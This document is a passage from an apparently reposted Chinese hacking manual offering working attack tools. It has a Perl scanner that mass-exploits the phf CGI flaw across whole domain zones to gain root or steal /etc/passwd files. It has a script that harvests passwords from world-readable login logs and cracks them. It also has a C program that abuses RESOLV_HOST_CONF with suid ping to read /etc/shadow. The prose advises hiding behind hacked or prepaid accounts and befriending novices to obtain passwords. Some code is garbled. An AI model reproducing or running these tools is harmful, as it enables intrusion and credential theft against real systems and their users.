/usr/local/bin/ph -m alias=X id
uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup) ; close(FILE); # Open output file. open(OUTFILE, ">>GetURLResults" or die("GetURL: Cannot open output file.\n"; my($url)=""; foreach $url (@URLs) { print ("Now checking: $url"; chomp($url); $result = `$program h++p://$/cgi-bin/phf?Qalias=x/usr/bin/id`; print OUTFILE ("\n============ $url ============\n"; foreach (split(/\n/, $result)) { print OUTFILE ("$_\n"; } if ($result =~ m/id=/i) { if ($result =~ m/root/i) { print ("Logging root response.\n"; } else { print ("Got ID response, getting /etc/passwd..."; $result = `$program h++p://$/cgi-bin/phf?Qalias=x/bin/cat+/etc/passwd`; # Output results to file named.passwd; local($domainfilename)=""; $domainfilename = $url; if (open(PASSWDFILE, ">$.passwd") { print PASSWDFILE ("\n"; foreach (split(/\n/, $result)) { print PASSWDFILE ("$_\n"; } close(PASSWDFILE); print ("Done! [$domainfilename].\n"; } else { print ("FAILED! [$domainfilename].\n"; } } } } # We are done. Close the output file and end the program. close (OUTFILE); 0; ------------- cut here OK。这很简单吧。如果你定义了自己的域名文件urls,也可以使用geturl.pl。 以下是脚本文件说明: 这个轻巧的工具非常容易使用。它可以帮助你取得root用户权限和从不同的domain获取passwd密码档。 geturl.pl试图记录Internet上每台domain对phf的响应结果。你可以选择.com .edu.org .mil .gov或是需要探测的IP地址列表。一旦发现具有root权限的用户,便在结果文件中记录uid=root,然後继续探测下一台domain。如果phf探测器找到的用户没有root权限,它就会读取该domain上的passwd密码档,并在当前目录下以domain.???.passwd文件名保存。 以下是此工具的使用说明: ftp到rs.internic.net站点 在domain目录下寻找: com.zone.gz edu.zone.gz gov.zone.gz mil.zone.gz net.zone.gz org.zone.gz 下载这些文件并对目标主机所属域名文件运行getdomain.pl,如: perl getdomain.pl com.zone com >com.all 该脚本会分析出.com域的所有主机名并输出到文件com.all中。 如果希望分析.edu域,输入: perl getdomain.pl edu.zone edu >edu.all 你便会有一个供geturl.pl使用的文件edu.all。 使用geturl.pl的格式如下: geturl.pl 用edu.all或com.all代替 如果你定义了域名文件urls,运行geturl.pl时不需 。 运行结果被记录到当前目录下的GetURLResults文件中。 1. geturl.pl使用lynx进行搜索(lynx要在查找路径中)。 2. 如果geturl.pl发现在一个url的httpd上获得了root权限,就会记录该root用户。 如果http用户不是root,但该用户具有在http上执行phf权限,就会抓取该domain的passwd档,并以fulldomainname.passwd的文件保存到当前目录下。 3. 你也可以提供包含了IP地址列表的文件供geturl.pl使用。 4. 我使用的是OS/2的lynx和perl,在长文件名方面没有遇到问题。我在UNIX机进行了测试,该程序也可以正常工作。 你需要: 1. Perl在查找路径中 2. Lynx在查找路径中 3. 长文件名(256字符)支持(如UNIX或OS/2) 4. 本文所列出和包含的所有文件 5. 从Internic站点下载的域名文件或自行制作的url或IP列表文件(取名为urls, 运行时仅输入geturl.pl) 注意事项: 如果你有一个现金付费的互联网帐号或通过hack而得到的帐号使用此工具来获取成果,那就最好了。然後便可以用另一个安全的帐号使用你的劳动成果了。但我并不必警告你这些,对吧?我对这些工具并不觉得羞耻。这里提供的工具是让你们检查domain的安全性。;-) getdomain.pl: 分析.org .com .edu .mil .gov等internic域名文件 geturl.pl: 检测并记录每一台domain的响应结果 GetURLResults: geturl.pl程序的结果记录文件 这里还有另外一种方法: 如果你能读取/var/adm/messages文件,或许你能轻而易举地得到一些用户的密码! 我曾经采用这种方法获得过root用户的密码! 还记得有多少次你是急着登录的吗?你可能因此而在login:里输入了密码:这种事情是很容易发生的。这样你就会出现两次登录失败,系统就在这个时候胡所动作了。 例如:(假设你很急着登录而没有留意屏幕) Login: (你踺入回车(而你此时并不知道)) Password: (你以为现在开始登录了,便输入用户名) Login: (然後输入用户密码) 此时系统会在messages文件中产生如下记录: Login: (这里是你的用户密码!!!) Password ****** (系统当然不会给你看见密码了!?但由於你在Login:处输入了 用户密码,只要我们有读取messages文件的权限,就会得到用户密码,并供crackerjack 运行(以找出对应的用户)。如果是在一个小型系统,或许...就是root密码!;-)) 以上这些工作可以由以下脚本轻易完成! 对於Quantum的bindwarez文件,你可以在附录中找到。 ------------ cut here #!/bin/sh # Under a lot of linux distributions(I know Redhat 3.0.3 and Slackware 3.0) # /var/log/messages is world readable. If a user types in his password at # the login prompt, it may get logged to /var/log/messages. # # I could swear this topic has been beaten to death, but I still see this # problem on every linux box I have access to. # # Dave G. # 12/06/96 # # h++p://www.escape.com/~daveg echo Creating Dictionary from /var/log/messages, stored in /tmp/messages.dict.$$ grep "LOGIN FAILURE" /var/log/messages | cut -d';,'; -f2 | cut -c2- | sort | uniq >> /tmp/messages.dict.$$ if [ ! -e ./scrack ] then echo "Creating scrack.c" cat << ! > scrack.c #include #include #include #include #define get_salt( d, s ) strncpy( d, s, 2 ) void main(argc,argv) int argc; char **argv; { struct passwd *pwd; FILE *fp; char buff[80], salt[3], *encrypted_string; if ( ( fp = fopen( argv[1], "r" ) ) == NULL ) { fprintf( stderr, "Couldnt find dict file\n" ); exit(1); } while ( fgets( buff, 80, fp ) != NULL ) { setpwent(); buff[strlen(buff)-1]=';';; while ( ( pwd = getpwent() ) != NULL ) { if ( strcmp( (*pwd).pw_passwd, "*" ) != 0 && ( strlen( (*pwd).pw_passwd ) == 13 ) ) { get_salt(salt, (*pwd).pw_passwd ); encrypted_string = crypt( buff, salt ); if ( strcmp( encrypted_string, (*pwd).pw_passwd ) == 0 ) { fprintf( stdout, "l: %s p: %s\n", (*pwd).pw_name, buff); fflush(stdout); } } } } } ! echo "Creating scrack" cc -O6 -fomit-frame-pointer -s -o scrack scrack.c fi ./scrack /tmp/messages.dict.$$ echo /tmp/messages.dict.$$, ./scrack, and ./scrack.c still exist, delete them yourself. ------ cut here -------------------------------------------------------------------------------- 从新手处获取 好。重复一次,这是获取密码的另一种方法。只要按照第二章所谈到的相关 内容去做就行了。运用你的智慧去与那些尚未成熟的「新手」交朋友吧。;-) 对了。在阅读本手册前,你可能曾经也是别人的「新手」朋友呢!;-) -------------------------------------------------------------------------------- 获取shadow密码档 什麽是shadow密码档呢? 举个例子,如果你利用上述方法取回来的passwd档,其内容如下: root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/adm: lp:x:4:7:lp:/var/spool/lpd: sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail: news:x:9:13:news:/usr/lib/news: uucp:x:10:14:uucp:/var/spool/uucppublic: operator:x:11:0perator:/root:/bin/bash games:x:12:100:games:/usr/games: man:x:13:15:man:/usr/man: postmaster:x:14:12:postmaster:/var/spool/mail:/bin/bash nobody:x:-2:100:nobody:/dev/null: ftp:x:404:1::/home/ftp:/bin/bash guest:x:405:100:guest:/dev/null:/dev/null bhilton:x:501:100:Bob Hilton:/home/bhilton:/bin/bash web:x:502:100:Web Master:/home/web:/bin/bash mary:x:503:100:Mary C. Hilton:/home/mary:/bin/bash 是不是少了点东西?噢,被加密的密码。如果你有root权限,就会在/etc/shadow中找到这些被加密的密码。某些系统管理员会将shadow档隐藏到其他隐蔽的目录下。但多数情况下,你可以在/etc目录下找到。有一些shadow程序会将密码保存到master.passwd文件中。但只要你有root权限,总有地方可以找到它。 现在,假设你有一个有效帐号,但没有root权限。 如果主机使用的是libc5.4.7(多数系统都使用它 ;-) ),而且下列文件之一要求 必须有suid权限: ping, traceroute, rlogin, or, ssh 1. 输入bash或sh以启动一个bash shell 2. 输入: export RESOLV_HOST_CONF=/etc/shadow 3. 输入以上文件名之一,并加上asdf参数,如: ping asdf 如果一切正常,你就会得到shadow密码档。 这个方法对於我这几天在许多系统中进行的测试均很有效。 注:你可用所希望读取的文件名(文件拥有者是root)来取代/etc/shadow。 以下脚本可以让你轻而易举地读取所需要的文件: rcb.c -------- cut here /* RCB Phraser - therapy in ';96 * Limits: Linux only, no binary files. * little personal message to the world: FUCK CENSORSHIP! */ #include void getjunk(const char *filetocat) { setenv("RESOLV_HOST_CONF",filetocat,1); system("ping xy 1> /dev/null 2> phrasing"; unsetenv("RESOLV_HOST_CONF"; } void main(argc,argv) int argc; char **argv; { char buffer[200]; char *gag; FILE *devel; if((argc==1) || !(strcmp(argv[1],"-h") || !(strcmp(argv[1],"--help")) { printf("RCB Phraser - junked by THERAPY\n\n"; printf("Usage: %s [NO OPTIONS] [FILE to cat]\n\n",argv[0]); exit(1); } getjunk(argv[1]); gag=buffer; gag+=10; devel=fopen("phrasing","rb"; while(!feof(devel)) { fgets(buffer,sizeof(buffer),devel); if(strlen(buffer)>24) { strcpy(buffer+strlen(buffer)-24,"\n"; fputs(gag,stdout); } } fclose(devel); remove("phrasing"; } -------------- cut here 命令行:rcb /etc/shadow (或其他你在这个系统中不能读取的文件。;-) ) -------------------------------------------------------------------------------- 获取/etc/hosts档 需要注意的是,有时你需要知道有哪些系统在hosts文件中,或在这个系统中有哪些其他domain和所有的IP地址,因此,不要忘了读取/etc/hosts文件以获得以後你可能需要的资料
欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/) Powered by Discuz! 7.2